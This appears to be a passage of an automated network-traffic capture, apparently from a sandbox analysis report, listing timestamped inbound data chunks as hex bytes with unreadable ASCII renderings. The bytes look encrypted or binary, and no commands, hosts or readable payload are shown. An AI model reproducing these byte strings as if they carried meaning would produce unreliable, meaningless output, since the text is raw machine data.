de 16 66 a3 e0 c6 3e f6 34 5b 22 78 8d 83 1c 91 39 c3 85 4e b7 f0 ea b1 50 87 a5 0e bf 9c e0 ac fb ef e9 f8 fd ec a2 fc 81 
86 de a3 e9 f9 97 be a2 4a 37 18 3e a6 21 4d 3f 5d a9 2d 60 8e 19 01 d9 ed bb c4 7c d9 7a 85 01 9f b4 c5 16 e5 4c b8 6a 
c9 0d 00 8e 96 f1 5c 50 ab 01 6d 0c 08 2e 16 13 22 ec 4c 9c 0b 75 5c e6 b3 2a a4 df ba 11 54 26 ff a0 c3 9d f7 f7 91 3c d0 
3d 9e 5f a2 bb 7c 6e 99 bc 6b 6a b6 67 bd 04 61 04 4c 20 1f e2 ca 26 15 12 c9 23 aa a7 be e3 1f 6a 71 c0 86 c8 cc 58 cd 
9e 90 06 86 d8 6c e6 e3 02 20 8e e4 ef 9f 4a c0 
Data Ascii: !Jrv5W>"z<Pe@#VKWw<H;C~k#3t7b(m#f>4["x9NPJ7>!M?]-`|zLj\Pm."Lu\*T&<=_|nkjgaL &#jqXl J

2022-01-14 11:23:08 UTC 3286 IN Data Raw: 19 ac af bb 50 bf 14 86 ef 0e 72 b7 57 ab b9 04 98 d9 ce d7 7c e4 06 a2 01 e7 de b6 77 30 d9 f7 24 1f 00 1f ee 
9d c5 ab b2 1a e9 61 35 3a 1f 66 11 1f 62 d6 76 ad 56 29 71 f7 0a 1b 95 58 74 88 e7 6a 42 24 45 f4 23 84 a8 4e ae ab 7b 
22 c3 20 9a a6 7c f9 1f 28 21 c3 9c 99 5b 25 11 02 8a 9b 93 be 7b ab cb 8e 0a 45 1e 4e 82 e1 cf 5f c6 e4 4a fb 70 c0 fb d4 
7e ed 6a 06 89 eb 0a 59 e2 ee 24 cd 24 35 33 8f 07 c4 5b 74 5d f7 bb 4c 8c ea bb 72 07 b9 a2 56 6c 37 20 1d 9b 22 d6 a2 
98 85 f0 5f 8b 60 16 da 66 66 28 da a5 e7 d9 62 f6 f7 0e 15 a3 d2 4e f1 78 67 9b c5 52 70 4c f3 0d 85 ff de 1c 1e 9d b6 a0 
00 09 31 4f 05 de c0 23 bc 4f 8d 29 59 c8 12 12 83 25 0b ac 7c db ff 1b 08 c2 0e ba da b1 40 23 f5 c3 46 f4 41 fd 31 b3 6f 
7e 8c f7 3a 88 cc a8 1e 16 7a 28 5a 30 ac 40 
Data Ascii: PrW|w0$a5:fbvV)qXtjB$E#N{" |(![%{EN_Jp~jY$$53[t]LrVl7 "_`ff(bNxgRpL1O#O)Y%|@#FA1o~:z(Z0@

2022-01-14 11:23:08 UTC 3302 IN Data Raw: 42 92 76 fe 8c 45 69 d4 cf 2b 90 de 46 83 b2 d6 5e a0 14 45 b5 e4 26 b4 82 76 37 19 a2 74 a8 e9 5d f2 ce 6a 
25 dd 28 49 14 7c e4 bc 6b a3 96 b8 a6 bc 16 a4 94 ef 04 f0 27 1e e5 62 4c f5 68 27 93 49 8b 09 11 2a 42 cf bf 67 1b 33 
45 4d 68 05 a4 eb ef 6d 0b fd 25 81 73 85 e2 96 c2 75 85 f9 23 5d d3 ca 13 41 6e 71 83 db e7 11 dd 3e 27 f2 50 5c f6 31 
1c 78 dd 8b 22 33 ff a2 af 86 69 7d 1a 38 e5 27 2e b5 7f 47 46 73 70 d3 a7 ee 4a e2 66 27 ea 29 51 f2 11 54 e4 5a 52 1e 
1a 0a 20 fb 64 ba a3 bc 26 a2 04 47 1d 2b c6 02 b5 e5 c7 9e 58 0a 45 ce 5d 6b 8b 89 81 f6 cd 75 f2 4e 14 d9 4a b5 06 a4 
da 35 80 11 52 9f 7e ea a8 bb 25 57 16 21 fc 79 83 e2 de c9 93 06 00 d9 40 8e 05 23 51 5d bb 12 7d 14 62 0e 70 52 34 a9 
c5 63 6f e0 c6 ae da 19 c3 11 28 ba c3 7a a7 20 ea 53 35 
Data Ascii: BvEi+F^E&v7t]j%(I|k'bLh'I*Bg3EMhm%su#]Anq>'P\1x"3i}8'.GFspJf')QTZR d&G+XE]kuNJ5R~%W!y@#Q
]}bpR4co(z S5

2022-01-14 11:23:08 UTC 3318 IN Data Raw: 8a d3 27 fa 74 79 a4 28 92 1a d3 a7 6b 6f cf e8 a6 de 5b 7d e0 8c 77 69 0b b2 9b f7 e1 6e c5 12 e6 f9 50 d9 eb 
f2 52 24 91 de bc 16 08 a6 dc 3a 65 de 22 e6 f7 7c 59 48 b4 3a f6 1c 1d 19 a5 e5 a0 90 91 fe 31 09 a4 47 bd 00 b6 bc b4 
00 0e 1d de fb f5 3c b1 26 2e 11 ca 99 e5 2e a9 34 85 66 b8 68 48 a9 50 0a 53 e5 9b be 02 e5 1f 0f 06 57 68 7f bf 61 28 
0d 5d 0c 4e c4 70 a4 7f 6f c6 8c d2 3c 5d 9f 1e f1 96 6b d8 e7 9b c5 6a ca 37 10 ad 19 d9 e0 ea 7d 5d 7a a8 2a 26 4f f6 86 
0c 9c 9d 3a 6a fe 2b 28 b4 41 c5 dc 5c 2a 2a bc 6d ee 85 4b 75 9c f1 44 20 08 13 d1 7e cd c6 9b 5d 4e 61 c1 ba 43 ff 12 
4b 99 63 96 33 5d 34 ba a5 57 04 a6 2a ac 5d 31 61 bc 06 3a 22 db f2 7b 6c 48 c6 e0 82 ee 57 36 9f 9c 13 13 aa 77 01 52 
f1 4f cb db 9e a6 a7 f7 4b f9 5e f0 33 f8 4c 3f 80 
Data Ascii: 'ty(ko[}winPR$:e"|YH:1G<&..4fhHPSWha(]Npo<]kj7}]z*&O:j+(A\**mKuD ~]NaCKc3]4W*]1a:"{lHW6wROK^3L?

2022-01-14 11:23:08 UTC 3334 IN Data Raw: 20 7c 97 5d 76 16 fd 35 f4 d1 4f 45 b6 6b 80 f9 68 37 f1 ce 55 b6 c0 8f b2 4e 81 dc 53 3d 15 77 ac d6 cd 36 d9 
3f 18 7e f8 63 f4 bf 4b d2 62 11 ab 8b 30 ea 10 f6 83 bf d6 0d d0 4f dc 67 08 1b 2d f0 51 12 74 ab 37 51 4d c9 9a 43 5b af 
16 82 ca d0 ca 11 86 8b ae a1 5a eb d6 84 ae 28 71 d5 79 0d e1 bc 43 f2 72 02 51 b2 77 8f 80 bd 04 b2 23 0a 8b 95 43 7b 
5e fb eb 37 e0 c4 0c 8d e9 f2 dc 2d d9 e6 27 f2 29 a6 40 90 e0 d0 e6 58 d2 bf 6e e4 74 7e dc 2a 11 60 be 77 62 5e 90 b0 
4c ed 43 36 1f e9 54 b8 9c 19 b4 c5 b9 4c 8a 29 55 70 9d ff 12 ed 8a 69 63 b4 61 d8 48 fd e6 39 02 68 54 ac 0f 89 6b 69 
e2 a4 58 c7 1e 8e fb 5a db af 54 06 43 15 9b 45 0c f2 1e 32 73 91 6f 21 fb a9 30 13 2c 5b 55 42 49 78 d6 a8 52 70 99 ed 
aa 75 1f 50 37 26 0f 14 fc 41 df 68 7a 76 25 3a 0a 
Data Ascii:  |]v5OEkh7UNS=w6?~cKb0Og-Qt7QMC[Z(qyCrQw#C{^7-')@Xnt~*`wb^LC6TL)UpicaH9hTkiXZTCE2so!0,[U
BIxRpuP7&Ahzv%:

2022-01-14 11:23:08 UTC 3350 IN Data Raw: ed 6d a5 90 c9 62 f1 51 d3 b9 97 79 ec 64 af a9 e9 54 c6 61 4c be 51 83 b2 6b 8f 2e c6 80 ab de 19 9d 1d b6 
55 bd c9 d0 5c a4 2d da af 71 73 53 f1 a9 b2 9e 6e 6e 44 1a 19 8b fb a7 ae 8f f4 82 9e ff 4f ac cb 27 6b 32 92 5c b0 aa 07 
16 58 20 0f 40 54 eb 9b fa b2 19 1d a1 cb 53 77 3d a4 5d 5b bc 7f 40 e7 7b 65 c5 10 7e ee d2 b8 37 58 2d e0 f7 9f 64 96 
79 de 67 45 d2 1e f7 01 68 6d b6 c2 55 09 cf 53 0f df 5b 96 84 55 d8 88 d2 02 9c b9 c5 53 fa d3 f2 f3 2f 13 3b 9e d1 4b 20 
90 8a 6b 0a 3a 65 2e 6e 5a 97 bb b0 45 3e 71 39 80 fc ae b5 26 64 2e e7 4b eb 74 6f 37 35 64 8f 4b 34 92 07 d6 ff c4 aa 
1b 5f 24 df 81 37 de 42 4f 1e d6 17 b3 a7 20 80 a8 11 df 53 1f 32 f6 33 e3 50 3a ab c7 7e 76 e1 15 ca c3 e3 50 20 15 09 
dd 4c 7d cd a9 92 e3 63 50 a4 78 bf 14 ac b0 bf 50 
Data Ascii: mbQydTaLQk.U\-qsSnnDO'k2\X @TSw=][@{e~7X-dygEhmUS[US/;K k:e.nZE>q9&d.Kto75dK4_$7BO S23P:
~vP L}cPxP

2022-01-14 11:23:08 UTC 3366 IN Data Raw: ed 8c f1 3c 86 15 69 ff 08 de a8 6f d8 8d 5f 02 69 da 87 11 2e ab 23 00 89 bd c5 b0 1c a3 1b 6f fa dd cd ff b7 25
91 2e 36 e9 47 40 e4 73 82 20 03 ec 8a 21 00 90 13 f0 b6 60 17 8a 2d 86 ef d0 54 46 ff 62 33 5e 27 01 4a 4f ed a9 2d 8e 
1e 47 c7 e4 fe 68 d6 25 23 ed 50 f5 9c ed 71 c8 bd 34 59 20 7b 09 db 41 60 03 ca 58 9d e1 49 99 9d 07 3c 0c ee 3f 35 12 
ca 5c 3e 34 ad 03 09 5e 12 72 0a 7f e0 39 eb ca a3 45 f3 13 b6 38 3c 65 ee a3 05 b2 6e 5d ab 84 83 eb a4 e1 ac e8 48 be 
93 87 ed 79 d4 e1 63 95 e6 95 2b fa 48 42 22 86 57 ef 21 9f f8 ff f3 eb 1c 8b 1e 16 ea 46 cf 36 7b 41 ce 53 ad 2a 15 80 d5 
59 e4 5f 37 06 35 4c 86 22 b8 43 8f be 4f 4e a4 69 91 67 52 e0 d7 05 69 81 ee ca 0c f1 9a 0d 2c 84 5f a4 78 06 54 39 f0 
17 8f ea d5 e8 c3 29 38 54 7e f4 19 39 05 68 1a 
Data Ascii: <io_i.#o%.6G@s !`-TFb3^'JO-Gh%#Pq4Y {A`XI<?5\>4^r9E8<en]Hyc+HB"W!F6{AS*Y_75L"CONigRi,_xT
9)8T~9h

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:08 UTC 3382 IN Data Raw: 48 f1 be d7 b1 9e 85 3c f9 46 4e b7 6b 68 9a 0a ba d9 48 ea d7 06 d2 3a eb 66 6f 0f 41 36 7d b0 3b ed 82 e9 
ae 9f 14 50 96 4c 68 e6 6f de 80 0f 09 67 0b d2 ee aa 40 2b a7 d6 27 b5 15 fb be 8c 3d a5 48 81 f3 80 40 d1 d6 bf a3 cd 
4a b1 f7 5e 15 a8 1b 05 d2 05 d9 b9 17 d1 e9 01 36 77 8b 47 6a 80 28 05 9f 6f 9d e1 3f ff 25 28 4a cc c6 ff 32 8e b3 e2 0d 
bf 7f 62 c9 31 78 9e 90 71 d0 62 a7 38 6d 8a 52 aa 1c aa 99 06 45 0e 26 fa a8 75 05 8b 94 db 9b 15 1e e0 39 5b c0 79 8a 
91 c0 45 4e 09 2f ad ad 09 7d d4 3b d4 c4 41 64 d1 0c a7 c4 08 fe e5 aa 8b f9 bd 73 e1 34 6a c0 72 98 d4 db db 47 d0 df 
b0 d2 40 85 a6 1d ff 07 8d 06 2f 20 52 33 36 37 fb c9 71 99 33 39 be b0 ea 84 b1 94 9f 21 14 36 fd 0b 52 f0 16 34 a6 eb e2
28 84 c8 2b 99 82 2a 69 3d 2d 91 cd 1f 66 7e 3a 1e 
Data Ascii: H<FNkhH:foA6};PLhog@+'=H@J^6wGj(o?%(J2b1xqb8mRE&u9[yEN/};Ads4jrG@/ R367q39!6R4(+*i=-f~:

2022-01-14 11:23:08 UTC 3398 IN Data Raw: 38 25 cf 71 d9 84 85 90 3b b9 d9 d7 e7 cf b5 07 5a 95 66 20 30 56 0d 00 6b e1 21 b3 38 79 ae 8c 9e bd a5 26 
98 07 37 12 a6 71 83 83 08 7f 2b db 3a 93 10 d2 6f 83 0c 3e c2 74 d0 37 00 ec 10 65 7b 25 b6 28 47 77 ef f6 c4 4d 0c 2c 
71 00 ab 75 b1 71 e8 d8 ab 53 61 0b 99 7a 3e 51 e4 02 77 ed da 54 1e 50 39 4e 60 bd 06 f4 03 1c 98 96 c7 f3 b4 26 f3 62 
00 51 8c ad b6 14 1f 28 23 c3 bd 16 1b b6 77 13 36 cb b1 18 01 fa f2 91 f8 23 f4 b9 4f d5 bb 01 a0 78 a1 0c 84 bc 14 36 f1 
75 33 ff 16 99 aa fd e4 68 02 63 a0 de 0d e7 91 be de 0e 5f 0d 35 b2 83 9f ff 26 7d c8 de 19 d7 5b 14 bd e0 1a e4 00 d9 35
81 c9 7d b4 3c 46 49 89 39 78 7c dc f4 76 67 50 ad ed bc 58 04 d4 f6 2a 71 5d ee 44 45 d2 12 95 dd 36 d8 74 f1 6a a3 37 
ef df 9c 29 c7 07 b2 eb 51 ba 55 5c e1 a4 bd d3 9b 
Data Ascii: 8%q;Zf 0Vk!8y&7q+:o>t7e{%(GwM,quqSaz>QwTP9N`&bQ(#w6#Ox6u3hc_5&}[5}<FI9x|vgPX*q]DE6tj7)QU\

2022-01-14 11:23:08 UTC 3414 IN Data Raw: 6c 8d bd 1e 23 90 81 11 88 c5 1e 45 b3 ca 20 7e f3 28 e7 a5 21 1c 8b a9 0b 25 6e 1a 7a 1a 27 f1 bb 5b e9 29 
1d f9 c4 3b 70 98 4f e5 48 46 ba 14 01 82 8d 1f f6 e4 1e 7d 41 da 44 92 a7 99 98 aa 17 20 5e 45 bc fe eb 0a c4 33 21 21 
1b ba a7 4c 2c 61 96 7d 07 c0 bf 38 08 0f 93 69 f0 03 4c e3 61 c2 6a dc 17 44 c9 76 fb f9 3d d8 35 1c 94 74 f3 cb 54 64 b3 
16 78 40 fe af 3d 61 31 ff d2 2b 56 51 fd 73 a8 a4 4a 8b 36 bb 7d b2 2f 07 e7 d4 45 f2 ae 44 fc c1 39 0f 50 9b bf c4 94 76 
20 e8 c7 70 91 b7 f3 c3 42 33 3a d5 9d 32 64 7f 92 09 2d ff a3 f2 fb 8c 32 4d 31 b3 ca 7b 30 14 aa f8 d5 c9 95 c3 a4 18 31 
64 d3 c0 8f 8d c6 83 83 88 bf e4 e7 ac 8b 0f cf a7 9e 2f bb d1 62 9b f8 3d f6 f2 e3 b1 ce 24 b1 0b 50 c8 7f 14 67 87 cd f7 3f 
2a 53 df e6 1c f5 98 a9 4c d4 58 0c 95 34 
Data Ascii: l#E ~(!%nz'[);pOHF}AD ^E3!!L,a}8iLajDv=5tTdx@=a1+VQsJ6}/ED9Pv pB3:2d-2M1{01d/b=$Pg?*SLX4

2022-01-14 11:23:08 UTC 3430 IN Data Raw: 4f 4b 96 1a 51 e3 ce e0 91 dd 37 cd fd 86 33 f0 bf cf ba ae 4f 16 ce 27 c1 e7 a8 e2 d6 f8 fb ed 9b f5 6f 8c d5 61 
ab 45 0f ca 7d 70 69 29 2e 20 05 05 26 65 bf a1 9f 4d 42 cf 20 84 6e 25 73 52 2e 06 8f de 88 28 f7 26 0e 76 8e 4b c9 a8 
e0 56 fe e2 e5 6b 7b 13 6d 41 d6 ce 6d 41 78 e0 88 65 15 47 c1 31 92 87 4e 94 3a b9 af 80 df 24 3d 53 c9 f6 88 e6 12 21 
4c ce c9 61 17 df 61 8e fd 65 c6 14 66 f9 6f 03 36 72 18 3f eb a2 e6 cc c4 68 7c 4b 96 34 b9 c0 87 b2 a2 73 88 8e fe 34 a5 
2a 31 8b 17 74 0d 24 b5 90 6e 6b 57 02 51 14 f4 ce 23 b0 b0 9b c8 11 d1 64 05 17 51 58 85 03 cf 49 23 9c 88 37 90 76 f4 
5b 66 18 2a 7c f7 bc 38 f1 63 20 fe 60 06 8f 5e ae 9e ff 1e 9e cf 48 95 f7 37 f6 ad bc c9 38 11 3a c5 40 bf 50 e9 1e 40 b7 
28 3a 7c cb 2c 46 6d f7 6b cc af af 81 3f 4c 
Data Ascii: OKQ73O'oaE}pi). &eMB n%sR.(&vKVk{mAmAxeG1N:$=S!Laaefo6r?h|K4s4*1t$nkWQ#dQXI#7v[f*|8c `^H
78:@P@(:|,Fmk?L

2022-01-14 11:23:08 UTC 3446 IN Data Raw: 37 7f 10 2d 7e b8 df 16 79 47 9e 37 59 79 a0 ef ff 73 78 7f 61 49 71 09 83 a8 5a 38 1e 3d 41 d7 8c 6f 17 6a 78 
b5 3f 31 fe fd be bd a2 36 13 fc 42 56 c3 3d a5 70 1b 20 28 7c e0 40 a3 71 66 be 4c 38 d3 b5 65 7c cf 86 43 8c b8 0d 7b 
e8 19 88 02 0a d4 16 56 c9 7e 94 05 e8 ec 8f 4c b9 e8 2b d2 08 6e a6 07 25 55 a4 97 c0 7b ba aa 3f 13 0b 3a 31 fe 2d 4c 
3b ff 5a 95 41 ed 97 3c 6e 25 1b 6f ed e1 8d aa 73 e1 c7 76 a7 9e f6 e3 52 94 2b ec 34 45 a4 ac 1a 04 4d e2 ec 0e f4 de 
dc 5f 38 9f 4a 57 f6 5e 3a 7a 10 92 2a 4e 97 b8 8d 8a 0b 91 14 c7 35 b0 96 23 20 8e 5b 17 1b 72 69 48 09 6c 98 37 16 a3 
f1 f6 41 33 42 d6 17 a7 29 33 c6 2f ce 97 52 52 e4 a5 ef 38 9d 09 aa 32 b6 23 0d 09 e2 16 bb f8 3a a2 57 8b b2 f0 5a e3 
13 48 60 38 56 13 33 a4 db 20 5b 5b de 2a 0a f1 0d 61 
Data Ascii: 7-~yG7YysxaIqZ8=Aojx?16BV=p (|@qfL8e|C{V~L+n%U{?:1-L;ZA<n%osvR+4EM_8JW^:z*N5# [riHl7A3B)
3/RR82#:WZH`8V3 [[*a

2022-01-14 11:23:08 UTC 3462 IN Data Raw: 6a 30 f6 95 fc 8c 68 64 1a ad d2 9c b7 7c 6a c7 7a c4 10 2c c6 54 9e 30 02 0c 4b 17 98 8a 2a 3c 44 72 3d 93 f9
a8 f5 6d d5 20 33 c0 53 ac 4e 15 2e 02 63 da 04 88 f3 38 4f 36 74 97 28 fe 78 18 16 58 27 2d 7c 41 b1 92 a3 fe 17 ef 88 2e
34 05 ba 59 05 60 8e 53 a8 0d 54 73 9e e8 0e cc 8c 07 63 e3 6d bd 79 6c c2 26 2f 44 b6 d0 cb 05 9c ec d6 81 1a 6b dd 49 
53 13 f0 7b 32 90 e2 64 e0 e7 df fa 6f 28 d6 10 f3 5d 06 1d 44 5a 5c c0 f1 a0 3f 3f d4 2a de bb 68 ed ec 36 55 1b d6 c4 fe 
8b 72 59 9b 54 69 a2 d7 4c 16 c0 31 8a 20 27 f5 75 94 96 a4 5b 3c 91 86 88 a5 3d 70 dc 72 ab 97 b9 ad 67 aa c8 ae 40 bf 
2f 73 65 f9 24 69 90 24 f8 aa 8e 1d e0 b6 1f c7 40 21 0c 19 56 e5 00 98 c7 22 bb 02 4d 81 85 1e 78 e2 56 66 2b 3c 8a 49 
e5 c6 39 3e 79 fb e4 64 76 09 a5 63 7d 39 1f c2 
Data Ascii: j0hd|jz,T0K*<Dr=m 3SN.c8O6t(xX'-|A.4Y`STscmyl&/DkIS{2do(]DZ\??*h6UrYTiL1 'u[<=prg@/se$i$@!V"MxVf+<
I9>ydvc}9

2022-01-14 11:23:08 UTC 3478 IN Data Raw: e3 31 ef e3 5b 8d c7 0a c1 95 da b3 3f 7c 09 47 19 d5 06 e3 c3 a9 5d b5 9c 92 47 23 52 87 43 24 0f 76 e4 e8 
de 32 6f 40 7a 0a f8 b0 8b 8e 7a 94 bd 44 b5 30 ae 3e 24 4d f5 90 13 a3 b4 96 65 83 d7 1e 42 0a ff dd c2 a0 bb 16 78 53 
26 d8 16 02 43 e3 7e 9f 29 2f 44 f2 93 8e 2f 1d 6e b8 d6 68 d1 aa 73 31 f9 45 2c 14 84 9f 23 43 84 92 97 2c f6 a6 7c ce 86 
51 29 f4 cf 8c 64 bb 72 64 a4 20 2c 08 bd 69 e5 e1 ce fc c6 c1 88 23 a2 cb 50 a7 31 63 e6 db 9e cc e1 ab c7 16 3d 4a 3f fd 
a6 fe d9 2f 4f 8d 84 8c 69 eb 24 e1 f3 6f 5e 6f 6c a6 28 eb 57 99 af 19 5c d5 54 26 c6 8e db 71 ac fe f4 d0 7f c7 70 5b d2 
4d 95 6d ba 7a e8 ec 0e 1c fb 23 01 8a a0 58 40 56 e5 fe 24 4f 4f 9c e2 1f ff a6 a9 9d 2d 70 ac 69 ef 7b a1 fc 0c c6 e8 68 
57 28 91 6a 23 86 2a 10 ce 83 10 9e 9d 71 a3 
Data Ascii: 1[?|G]G#RC$v2o@zzD0>$MeBxS&C~)/D/nhs1E,#C,|Q)drd ,i#P1c=J?/Oi$o^ol(W\T&qp[Mmz#X@V$OO-pi{
hW(j#*q

2022-01-14 11:23:08 UTC 3494 IN Data Raw: 34 62 52 d0 50 1e 3c c7 6a 58 6b ca ca 23 cd c8 10 3f de 64 37 16 a4 31 4c 7b 2b dc e3 a8 84 22 13 ea a7 d2 
03 9b 44 8a f6 4b 70 ea 6d 3e 19 57 3f f5 53 f0 d1 07 a2 49 ad 48 5f 57 72 08 bf f7 2e 64 dc 88 8e 7d ab b3 76 42 5d b7 0a 
b8 87 da 6a e7 e7 4c f8 fa f1 4b f9 bc 7a 3d 80 fd ec 18 5d 0e d1 32 ca 73 f8 c9 01 b1 fb 03 19 0b 08 a7 e6 ab c5 1b d2 87 
b8 d5 9d 8e 31 af cd a6 8b 1c f7 a2 d5 d9 f2 e3 e5 8c 4c 5e eb 99 fd ab 61 2e ad e6 5e 70 99 46 bf 4c 04 26 da 4a 7f e8 
1a 37 22 26 3c 85 f7 b4 aa cb ff a6 12 fd 7c 5a cf 3a 8a 0e 6e 1f e4 d7 8d bf 96 f4 b4 45 8a 87 ea 7d 0b 47 dd 7b e1 30 73 
78 de a1 19 ae 91 72 09 8a dc 6e c0 ab e7 c3 0d 35 3c 72 5a af b3 60 26 62 81 8b 03 e4 9b c0 a0 e4 5a 93 ac 90 7c 34 9c 
d1 79 c2 ef 94 a1 47 0b a7 63 ec fd b5 aa aa 48 
Data Ascii: 4bRP<jXk#?d71L{+"DKpm>W?SIH_Wr.d}vB]jLKz=]2s1L^a.^pFL&J7"&<|Z:nE}G{0sxrn5<rZ`&bZ|4yGcH

2022-01-14 11:23:08 UTC 3510 IN Data Raw: 95 6a 36 f9 f2 de f3 72 eb 7c 0b b0 84 16 f2 48 cd 49 8b 73 0c 3f b3 e9 bd cc 3f 45 16 b9 5e 79 aa 28 f8 2f 96 
68 81 de 91 9a ba 3b 68 fc f5 b1 f6 ac 52 7e 99 6b 8d 6c d7 9b 5e fd a0 aa 88 69 60 c0 7b 92 1f 8d 9b a9 3c b9 e4 2d 28 
d9 f5 c8 cf c1 64 47 e0 9b 1f 05 19 5e dd 5c 19 13 fb 90 fa 3b 5d f6 19 d4 b3 9f ae 16 6b c8 82 48 0d dc f1 02 5d 9f 81 bf 
81 74 15 e8 df ac b5 e0 05 8a 72 08 4e 9a 49 a5 ad 20 30 ad 6d 35 04 b5 a4 31 89 2b 7b 4b 8b 43 f7 1c 03 80 0e 2a bc 34 
e0 76 f9 3f 9f eb 64 d3 f1 88 df c8 7d 46 fb 25 f0 b0 bb 9a 7a 88 44 07 cb b9 b1 1f cf c4 4c 0a ab 63 e0 97 e0 5c 62 02 b3 
3f 4f 5f 68 b7 6a d1 b6 2b 50 41 26 14 cd 0a 9d b5 89 fd 3b 01 a9 38 dc 7b b5 e7 27 03 e6 42 e9 7f c0 2a 86 dd e1 86 44 
db 14 78 37 f8 60 64 d4 f3 83 a2 5c f8 04 de f6 
Data Ascii: j6r|HIs??E^y(/h;hR~kl^i`{<-(dG^\;]kH]trNI 0m51+{KC*4v?d}F%zDLc\b?O_hj+PA&;8{'B*Dx7`d\

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:08 UTC 3526 IN Data Raw: 95 d7 63 43 7b f0 f4 4b 68 ce 11 df ce 9a 04 25 0a 35 dc 34 e5 24 47 ca 48 77 22 8a 2c 5a cb 54 72 c0 d4 5b c8
ac 3d b0 a7 5b 02 80 f0 79 53 a5 e0 c7 69 28 8e f8 32 bf c9 04 77 d6 68 34 bf 95 74 30 df 79 e8 37 a0 0e 0b d3 0a c8 bd 
61 75 ca 83 52 c6 41 da 04 78 fd b5 2a 1e e8 02 68 e3 36 ff 71 ad fe af e8 c8 80 de f4 d3 46 d8 d7 80 7a 90 82 e7 0f ea 67 
0b 37 34 91 24 95 06 0f b6 92 c8 e7 aa bd 8c bf 67 f5 2e 33 cb 39 2f d0 51 7d ff 27 8e ed 77 5c 78 e6 f2 f7 4e 35 10 bd 58 
a2 4a 73 c5 9c 4d 92 f5 04 af 86 58 31 7f d7 9b 39 10 1f 19 ed 0e 59 d1 ff f0 75 40 e4 fd 3a e4 b0 35 bd d1 50 ed f3 75 4a 
1c 61 0c c8 78 3e 79 e7 d9 b7 ea 07 a4 4a ca 02 ad a0 79 5e 2a 98 b1 cf b4 64 19 29 8a 07 94 b5 24 df 42 14 07 91 ba 4e 
11 01 8e 09 27 3a 35 f0 93 a6 60 55 ee d3 81 
Data Ascii: cC{Kh%54$GHw",ZTr[=[ySi(2wh4t0y7auRAx*h6qFzg74$g.39/Q}'w\xN5XJsMX19Yu@:5PuJax>yJy^*d)$BN
':5`U

2022-01-14 11:23:08 UTC 3542 IN Data Raw: 34 21 58 c2 1a 52 a4 cd 0f 08 fb 53 3f 8c 6f 92 66 33 96 6e 63 d8 a4 ea 4e 9e 56 41 24 59 12 46 75 6d 38 b6 
31 07 f4 ea 86 4c 67 f9 d0 0a c0 8b 7c 40 e8 03 6c 93 ad d7 8c c8 d9 95 04 92 d2 f7 42 21 2a 30 6d a8 04 eb d9 7d 73 87 
70 73 5d f4 38 7d 04 2a bc dc 19 4e 16 50 81 77 62 8c e5 7d d7 44 98 eb cc b3 49 84 d0 38 1c 98 bc e4 1c 03 b7 44 f8 5f 
95 ed bc ea 62 9c f4 14 2e 4d cc b3 6b 5c 38 1c 1d 33 59 28 e6 c2 12 a4 d3 a8 3d f6 54 0e d3 16 94 2a 8e f3 25 9b ba 3f 
92 57 a8 62 62 a8 a7 92 24 b1 e1 6e da 34 14 75 1a 29 4e 5a 15 e5 8e fa 6e d1 51 33 97 95 c8 64 48 44 41 05 a5 23 78 
8a 6f 0a 86 5f 37 43 04 ac e0 2a cf 4c 2f d3 6b 3a 34 23 64 b0 78 a0 a2 8a 9a d1 f9 db 1f 9a 47 72 69 81 23 75 db e5 30 
9b 4d 16 21 b4 16 f5 d0 1b 1f b3 1e a7 94 ff 17 f4 07 53 5d 
Data Ascii: 4!XRS?of3ncNVA$YFum81Lg|@lB!*0m}sps]8}*NPwb}DI8D_b.Mk\83Y(=T*%?Wbb$n4u)NZnQ3dHDA#xo_7C*L
/k:4#dxGri#u0M!S]

2022-01-14 11:23:08 UTC 3558 IN Data Raw: 2c 2c b0 2a 6b 97 de 5b 27 0e 69 22 c4 a1 5b 87 b0 68 46 fd 7e a1 ba ba 4f f1 7b dc 70 34 ba b4 f1 ea fd 00 7b 
3c ed 5f 8f 25 db 65 85 5a 4f 54 9b e7 ff 2a a7 e2 16 9e 16 96 d6 09 45 ab 5d d5 4e b7 37 c9 13 1e 42 96 94 7c 76 f2 e9 
ad cd 7a 9c 9a d1 6f 7d b2 74 e2 a0 2d 2d 91 93 3c f8 34 68 02 33 d6 f8 ee 98 6f d7 26 aa 7c 82 75 68 e8 32 69 6d a1 d4 
fa c8 89 ee 2e ba 4b 51 b1 05 aa 5e 73 48 2b b9 25 cf db da f0 4c 78 9c 9a 73 a0 da 74 9e 70 de 76 73 a7 20 39 1c ac a9 
1b cd 45 4b e6 0e ad e3 c6 e4 63 3e 6f ba 04 96 c0 6f e8 73 21 4c e7 2a e7 ee fa 31 06 7d 47 9c 37 b1 88 98 fe 51 f2 1c 
59 fc 02 c0 98 ef 24 10 d3 f2 31 45 b5 81 21 05 86 9f 68 a4 35 7c 88 95 02 fe a2 f1 57 90 60 6b d4 c5 6e f8 78 5a d3 49 4e 
cf d3 08 51 83 04 96 42 f5 dd 57 d8 ce b4 3f a2 32 
Data Ascii: ,,*k['i"[hF~O{p4{<_%eZOT*E]N7B|vzo}t--<4h3o&|uh2im.KQ^sH+%Lxstpvs 9EKc>oos!L*1}G7QY$1E!h
5|W`knxZINQBW?2

2022-01-14 11:23:08 UTC 3574 IN Data Raw: 9a 4d 43 ef 9f 91 e6 79 31 2d 7a 7f c4 7b 60 c5 2b 14 62 ea 1b f9 fa 12 77 e9 4a 09 97 19 1b 7a a2 0a 22 14 bf 
22 66 13 cf 38 84 a1 01 99 d6 f9 d6 de 7a de 69 8d 8a 8d 7e 63 dd ca cd 57 f7 fa 17 99 67 1f 2a 7c 90 a0 c4 f8 7d 67 af 10 
84 07 56 e9 58 86 4e 48 01 49 15 e6 f3 7f ef 79 89 fe 11 ac 86 77 9e 60 36 21 01 ad 13 cd a7 b1 86 37 fb 61 ce d1 67 f8 
69 cc db 0e c7 f8 09 2a 17 f7 d4 c9 53 41 1d b9 f3 0e 2e e4 c9 c5 5e 7b 54 06 f2 f6 37 f6 d2 95 74 55 0f ea 43 87 da 4f 7b 
31 2f e2 cf 9c d0 7f 63 b2 b9 2b ad d0 9a 60 5e 9a 5b e7 40 9d d2 fc 67 37 ac 2b 7c 16 04 d3 09 7b 84 51 e9 51 1a 27 19 
3a 31 1b 1c f3 1e 08 1d bc 42 c1 d8 26 d3 d3 f6 b8 68 a5 52 a2 99 68 87 1c 2f b3 e6 f7 b7 49 f6 5a a5 a4 57 38 9d 05 dc 
74 74 d7 56 73 29 ed 73 c8 e8 59 80 1c de bf 97 
